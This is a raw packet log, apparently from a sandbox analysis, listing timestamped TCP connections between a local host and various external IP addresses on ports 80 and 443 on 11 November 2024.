                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398487091 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398509026 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398530960 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398535013 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398560047 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398587942 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.399056911 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.399110079 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.399137974 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.399298906 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479583025 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479640961 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479666948 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479700089 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479721069 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479743004 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479762077 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479823112 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479867935 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479878902 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479917049 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479921103 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479955912 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479959011 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.479993105 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.480667114 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.480715990 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.480743885 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.480783939 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.480792999 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.480822086 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.480843067 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.481416941 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.481467962 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.481472969 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.481511116 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.481514931 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.481554985 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.481692076 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.481748104 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.482245922 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.482331038 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.482352972 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.482374907 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.482382059 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.482386112 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.482418060 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.482435942 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.560787916 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.560837030 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.560842037 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.560852051 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.560874939 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.560894966 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.560914993 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.560921907 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.560945988 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.560971022 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.560975075 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561017036 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561021090 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561055899 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561201096 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561235905 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561239958 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561285973 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561326981 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561331034 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561364889 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561881065 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561907053 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561927080 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561930895 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561959982 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.561976910 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.562810898 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.562850952 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.562876940 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.562884092 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.562932968 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.563479900 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.563534975 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.563610077 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.563654900 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.563658953 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.563668966 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.563700914 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.564332962 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.564373016 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.564378023 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.564413071 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.564416885 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.564455032 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.844202995 CET6348280192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.844578981 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.844610929 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.844624996 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.845225096 CET6348580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.845258951 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.845554113 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.845585108 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.845598936 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.846261024 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.846287012 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.846390009 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.846621037 CET6351780192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.847568035 CET6351880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.847568035 CET6351980192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.847872972 CET6352080192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.849189043 CET806348244.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.850279093 CET806348518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.850881100 CET6348080192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.851634979 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.851646900 CET806351723.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.851680040 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.851778030 CET6351780192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.852317095 CET8063518199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.852374077 CET6351780192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.852375031 CET6351880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.852415085 CET806351985.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.853130102 CET8063520154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.853208065 CET6352080192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.853300095 CET6352080192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.853605032 CET6351980192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.854620934 CET6351980192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.854620934 CET6351880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.855858088 CET80634803.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.857189894 CET806351723.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.858156919 CET8063520154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.859652996 CET806351985.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.859663010 CET8063518199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.860729933 CET6352180192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.861691952 CET6348480192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.865674019 CET8063521208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.865748882 CET6352180192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.866861105 CET8063484188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.871223927 CET6352280192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.873872042 CET6352180192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.876149893 CET806352244.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.876223087 CET6352280192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.879292011 CET8063521208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.885122061 CET6352280192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.890157938 CET806352244.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.084383965 CET6352580192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.089231968 CET806352572.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.089328051 CET6352580192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.089545965 CET6352580192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.094309092 CET806352572.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.260210991 CET8063484188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.260278940 CET6348480192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.266645908 CET806351985.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.266761065 CET6351980192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.278757095 CET8063518199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.278784990 CET8063518199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.278855085 CET6351880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.305484056 CET806352244.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.305552006 CET6352280192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.307938099 CET806351723.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.308182001 CET806351723.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.308273077 CET6351780192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.312769890 CET8063521208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.312823057 CET6352180192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.313283920 CET806352244.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.313333035 CET6352280192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.590866089 CET806352572.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.590924025 CET6352580192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.590976000 CET6352580192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.595776081 CET806352572.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.614517927 CET6417780192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.619484901 CET806417772.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.619755983 CET6417780192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.619966984 CET6417780192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.626543999 CET806417772.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.723053932 CET8063520154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.723443985 CET6352080192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.148435116 CET806417772.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.148855925 CET6417780192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.200706005 CET6417780192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:42.207535982 CET806417772.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.967458010 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.967509031 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.068008900 CET5051580192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.074110031 CET80505153.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.074183941 CET5051580192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.078619003 CET5051580192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.083422899 CET80505153.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.389480114 CET5051780192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.389884949 CET5051880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.396092892 CET5051980192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.396545887 CET8050517199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.396564960 CET805051844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.396624088 CET5051780192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.396642923 CET5051880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.396770954 CET5051880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.400893927 CET805051985.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.400948048 CET5051980192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.401446104 CET5051980192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.401731968 CET805051844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.406435966 CET805051985.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.414901972 CET5051780192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.419768095 CET8050517199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.419924974 CET5052080192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.421631098 CET5052180192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.424822092 CET805052044.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.424894094 CET5052080192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.425369978 CET5052080192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.426676989 CET805052123.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.426721096 CET5052180192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.427001953 CET5052180192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.430192947 CET805052044.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.431807995 CET805052123.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.437196016 CET5052280192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.442636013 CET8050522208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.442740917 CET5052280192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.442828894 CET5052280192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.448426962 CET8050522208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.481888056 CET5052380192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.486777067 CET8050523154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.487957954 CET5052380192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.488079071 CET5052380192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.493527889 CET5052480192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.494029045 CET8050523154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.494684935 CET5052580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.500153065 CET805052475.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.500582933 CET805052518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.500593901 CET80505153.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.500608921 CET5052480192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.500627995 CET5052580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.500643969 CET5051580192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.500790119 CET5052480192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.500842094 CET5052580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.505614042 CET805052475.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.505623102 CET805052518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.507350922 CET80505153.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.507400036 CET5051580192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.525460005 CET6400880192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.531274080 CET8064008188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.531351089 CET6400880192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.531507015 CET6400880192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.536364079 CET8064008188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.831434011 CET8050517199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.831510067 CET5051780192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.831515074 CET8050517199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.831527948 CET805051844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.831578970 CET5051880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.831581116 CET5051780192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.831974030 CET805051985.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.832037926 CET5051980192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.834611893 CET5051980192.168.2.685.17.31.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.836793900 CET805051844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.836839914 CET5051880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.839467049 CET805051985.17.31.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.858380079 CET805052044.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.858489037 CET5052080192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.865504980 CET805052044.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.865557909 CET5052080192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.886501074 CET805052123.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.886781931 CET5052180192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.889035940 CET805052123.253.46.64192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.889278889 CET5052180192.168.2.623.253.46.64
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.924052000 CET8050522208.100.26.245192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.924237013 CET5052280192.168.2.6208.100.26.245
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.926908970 CET805052475.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.927022934 CET5052480192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.927155972 CET5052480192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.928672075 CET805052518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.928733110 CET5052580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.932478905 CET805052475.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.932641029 CET5052480192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.935471058 CET805052518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.935569048 CET5052580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.956275940 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.956321001 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.956378937 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.029043913 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.029077053 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.253226042 CET8064008188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.253289938 CET6400880192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.368333101 CET8050523154.212.231.82192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.368432045 CET5052380192.168.2.6154.212.231.82
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.465770960 CET4435913775.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.465874910 CET59137443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.860006094 CET59138443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.860045910 CET44359138188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.860107899 CET59138443192.168.2.6188.114.97.3
